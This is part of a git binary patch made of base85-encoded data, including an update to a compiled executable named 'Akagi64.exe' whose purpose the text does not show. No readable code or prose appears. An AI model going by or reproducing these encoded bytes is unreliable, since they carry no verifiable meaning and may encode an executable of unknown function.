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 diff --git a/Compiled/Akagi64.exe b/Compiled/Akagi64.exe index d5afa6cb0a4f828bd1ff319082a93a1c6f8a3e1c..52e189384b0d9751207439a174e22d0ff2ba4b34 100644 GIT binary patch delta 29753 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 